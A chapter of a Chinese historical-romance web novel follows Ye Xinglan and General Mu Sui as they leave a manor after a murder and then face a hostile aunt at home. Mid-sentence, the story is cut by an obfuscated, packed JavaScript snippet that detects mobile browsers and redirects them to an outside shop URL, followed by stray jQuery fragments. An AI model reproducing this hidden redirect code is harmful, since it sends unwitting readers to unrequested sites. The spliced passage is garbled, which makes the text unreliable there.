雨声在安静的屋子里格外响亮,叶星澜抿着唇“嗯”了一声,慢慢走向床榻。
她坐下,两手握着放在腿边,不知为何开始不敢看他。
穆随从公主殿回来的总是一幅很沉重的表情,唯有刚刚急迫要喝茶时眼里才有些碎光,现在似乎和她一样,有意躲避她的视线。
水烫手,言语亦烫心。
犹豫了好一会儿,叶星澜下定决心,轻启唇:“你睡觉吗?”她的两只手不自觉握得更紧了,悄悄去观察他的表情。
“我还有事与刘大人商议。屋外有人看守,晏小姐早些歇息吧。”他方才抚平的眉头又皱起,起身大步走出屋子。
世子死得蹊跷,雨夜冲刷了血迹和凶手的行踪,穆随放心不下实属正常,可看着他坚定的背影,叶星澜心底止不住地失落起来。
发生过命案,心再大也难入睡,更别说不合时宜的春心萌动之人。
叶星澜裹着薄被在床上翻来覆去。
一会儿想着握在手里的冰袋,一会儿又反复咀嚼穆随说水烫手的话,一会儿又因为前半夜意料之外的吻而面颊滚烫,心脏乱跳。
依她多年看剧阅文的经验来说,这分明就是心动,叶星澜噌地一下跳下床,半夜跳操。
“你这纯属太闲了......哈——跳到累就没心思想了。”她边跳边抬起有些不协调的四肢。
吭哧吭哧,跳一会儿歇一会儿,好不容易熬到灰沉沉的天空亮了起来,才喘着粗气推开门,见昨夜帮她更衣的丫鬟从门前经过,忙叫住人:“能不能麻烦你帮将军找一套干净的衣服。”
那丫鬟愣了愣,恭敬道:“回少夫人,山庄内并无多余衣物可换洗。”
“不对啊,昨晚你还帮我了套干净的来。”
丫鬟当即露出笑容,“少夫人的衣服是将军从府里带来的,并不是这庄子里的。”丫鬟坚持没有多余的衣物,叶星澜只好作罢。
她坐在屋子里回忆了好一会儿,才想起离府前穆随单独叫走阿宁的画面,那时她并不在意,现在抚摸着身上的轻薄衣衫,万般纠结。
远山还隐没在云雾中,叶星澜隔着窗瞧见许多人吵着要下山,带刀的侍卫挡在众人面前。
没一会儿,穆随便出现在人群中,叶星澜努力伸长脖子,依稀能听见“早膳”“公主”的字眼。
还没将这些字眼消化完,就有人来请她移步膳厅,昨夜她在公主殿泡茶,肚子是喝饱的,这会儿有碳水吃,脸上瞬间有了笑容。
还有心情用早膳的人极少,偌大的膳厅她能叫上名字的倒是全来了,另外那些称病不来的,还是因为害怕。经过一夜的搜索,依旧未能找到杀害世子的凶手。
还穿着昨日衣裳的崔灵婉攥着帕子缓缓走向叶星澜,陪同的穆岚风却抢先一步道:“都什么时候了,你居然吃得下。”
“人是铁,饭是钢,一顿不吃饿得慌。”叶星澜并不在意穆岚风是有心嘲讽还是单纯提问,她端起碗筷只顾吃。
这单人单桌,莲子羹也就小小一碗,叶星澜吃完最后一勺舔了舔嘴唇,抿着嘴角准备离开时,自己的桌子上突然微微冒热气的莲子羹。
不声不响出现的穆随收回苍劲有力的手,并没有与她说什么,只低头吃东西。
换作之前,叶星澜八成会觉得他是不爱吃又不想浪费才推给她。可经过昨夜一系列的事情之后,她对这碗没有灵魂的莲子羹都多了些晦涩的心动。
叶星澜吃了莲子羹,一是爱吃,二是不想驳他面子。
终于等到可以下山时,叶星澜站在穆随身边,尤其注意自己的两只脚,每一步都走得小心翼翼。
被雨水浇灌整夜的石子路更加滑腻,稍不注意,两只脚又开始毫无章法地前后摩擦,叶星澜本能地去抓穆随的胳膊,站稳脚跟后,长舒一口气。
“当心些。”穆随边说边牵起她的手腕,搭在他的臂弯上。
叶星澜本能地要抽回手,却被穆随再次按住在他的臂弯里,他微微放低下巴,声音轻缓:“前前后后都是人,这时候更要恩爱,不对么?”
雨天路滑,夫妻互相扶持而行再正常不过,况且昨夜一事之后,外人还觉得他俩感情好。
“知道了。”
叶星澜大大方方地挽住他的胳膊,她也说不定下一个台阶会不会再次脚滑。
与其说她扶着穆随,倒不如说是穆随一直护着她。
从她搭上穆随胳膊的一刻,他的肌肉总是处于紧绷的状态;每当下一个台阶又窄又积水时,他总能单手将她轻松抱起,直到方便落脚的台阶时再松开搂着她腰侧的手。
一程山路下来,穆随有一半的时间都是负重状态,叶星澜有些不好意思,在马车上主动问他累不累,要不要睡觉之类的。穆随都表情淡淡地回绝了。
同在马车里的穆岚风旁敲侧击地问穆随:“世子白天被长公主当众扇巴掌,晚上就死了,虽说公主洗清了嫌疑,可凶手迟迟未定,保不齐国公大人会向陛下请奏,长公主会受到牵连吗?”
穆随摇头:“凶手未定,即便国公有怨,陛下也绝不会处罚公主。”
“这样都不罚?”穆岚风不信。
“太子身体抱恙不能主持消暑宴,陛下没有指派二皇子,而是让长公主代办,足以见得陛下对她的宠爱......况且,长公主是陛下与皇后的第一个孩子。”
话落,叶星澜马上想起了以前玩过的游戏,皇帝生活模拟器。
成为皇帝有了至高无上的权力,那皇后就要选自己最喜欢的,对皇后的孩子也是爱屋及乌。要给孩子取意义最好的名字,穿衣打扮也要用最好的,各方面属性恨不得拉到最满,成年后的婚配更是要选世界独一无二的......
当人拥有很多个孩子时,就会发现只有天生的子凭母贵,没有天生的母凭子贵。
可只有与爱人的第一个孩子,才是真正的意义非凡。
长公主亦是如此,若为男子,毫无疑问会成为太子。
叶星澜想得有些出神,听见马夫道了句停,便快步下了车。
一见消暑宴未能陪同的阿宁,立刻亲昵地挽住阿宁的胳膊,兴奋道:“阿宁,我和你说......”她神采飞扬,拉着阿宁往内院的方向走。
到底是配合他演出来的,穆随望着消失在转角的一抹倩影,百感交集。
回到屋子的叶星澜躺在床上,摆成“大”字,拖长尾音道:“我就说每逢聚会必没好事发生。”
阿宁不理她的言语,将她从床上拉起:“府里来了客人,膳堂一早就备好了饭菜等你们回来,快些起来吧。”
不情不愿地换上衣裳往膳堂去,边向阿宁打听来的是谁,阿宁消息灵通,不仅知道来人是婶母的亲姐姐,还知道这位姑姑是来送重孙满月的请帖的。
叶星澜心里算着,婶母不过三十,这里十几岁的女孩嫁人生育,四十好几抱上重孙,三代同堂倒也正常。
走进膳堂,便见婶母身边站着位面颊圆润如盘的妇人正上下打量她,那妇人的眼神中尽是审视和评判的意思,叶星澜心感不满,头一扭,径直往另一处走。
“虽说重岳远离京城,但也没听说重岳女子不学礼仪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812138|184822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
教养的。”那妇人怒着鲜红的嘴唇,尽管婶母忙拉住她,说道:“她们刚回来,许是太累了。”
“累就能把长辈视若无物,连请安都不会?”妇人伸长着脖子,尖细的嗓音更显讥诮。
真是怪了,这位姑姑无缘无故地怎么就对她有这么多恶意。叶星澜忍住没发作,端着笑脸走到妇人面前,两手叠着请安道:“姑姑好。”
“这还差不多。”姑姑扬着鼻子哼出一声得意,又以长辈的姿态居高临下道,“你嫁进穆府半年有余,怎么不见有好消息?我瞧着你是身娇体弱,怪不得肚子里没一点动静。”
“诶,暑气逼人,吃不下东西人自然就消瘦——”
婶母圆场话被姑姑生生截断,姑姑斜着眼睛,扭头看向满脸堆笑的婶母:“女子为夫家开枝散叶乃头等大事,你们这么多年没生养半子,竟然还死守着‘不能纳妾’的规矩,简直就是榆木脑袋......”
根本就是无差别攻击,叶星澜碍于婶母面子才没有大发雷霆,想着传宗接代的观念已然根深蒂固,无法改变,于是顺着姑姑的话反问:“姑姑生育几子?”
姑姑发自内心地笑道:“两子一女。”
“多子多福,姑姑好福气。”叶星澜也配合地笑起来,接着话锋一转,“儿子可考取功名?春闱是什么名次?”
姑姑脸上的笑慢慢敛了回去,瞪着叶星澜不说话。
“姑姑怎得不说了?”叶星澜急切道,“难道是落榜了才不说?”
一旁的婶母替答道:“春闱只中了副榜贡生。”
“副榜?那不就是落第!”叶星澜摇头作出惋惜姿态,拍了拍姑姑的手背,“明年再试试。”
姑姑把手一甩,叶星澜又问:“姑姑的女儿嫁的那户人家,可有几十家陪嫁铺面?”
姑姑道:“莫要说笑了,整个京城除了皇亲国戚,谁有实力陪嫁三十多家铺面。”
“这样啊。”叶星澜装作恍然大悟的样子,“我外公家从商,母亲便用三十几家店铺当作陪嫁,我当京城的高门小姐都比重岳出手阔绰。母亲还说,女子铺面陪嫁若是只有几间,那便是攥着空拳头嫁人,在婆家说不上话的。”
她有意彰显晏府的丰厚嫁妆再煞一煞姑姑的气焰,婶母又打圆场道:“各地方习俗不同,不必比较。”
姑姑没好气地哼了一声,刚要扭着胖身子走开,见穆随出现,便立刻笑着脸迎上前,一口一个“将军”,殷勤极了。
可这姑姑疑似敬酒不吃,吃罚酒,竟然直接当着穆随的面,说她:“方才与晏氏闲聊几句,竟不想她脾气如此之大,我作为长辈教育她两句早些为穆家开枝散叶,她倒嫌我多管闲事。”
叶星澜翻了个白眼,扭头看向姑姑,问道:“姑姑是客人,本该客随主便才对,怎么一见我就百般挑剔?难道我与姑姑有什么仇怨,若是没有,我瞧姑姑倒是为老不尊了。”
姑姑气得说不出话,绞着手里的帕子。婶母面色难堪。
穆随则走到叶星澜身旁,轻声笑道:“她心直口快,若出言得罪姑姑,还望理解。”
穆随会帮她说话,意料之外,叶星澜借机挽住穆随的手,比前一天更为熟练地在他侧脸落下一记轻吻,偏头靠在坚实的臂膀上。
她看向姑姑,撇着嘴角委屈道:“我与将军感情甚好,姑姑为何执意劝我为将军纳妾,离间我们二人感情?”
靠着的男人隐约僵住片刻,耳根也泛着点绯色。再眨眼,穆随亲昵地捏住她丰润的面颊,眼眸中尽是宠溺。
装货演技怪好的。叶星澜不忍在心里嘟哝。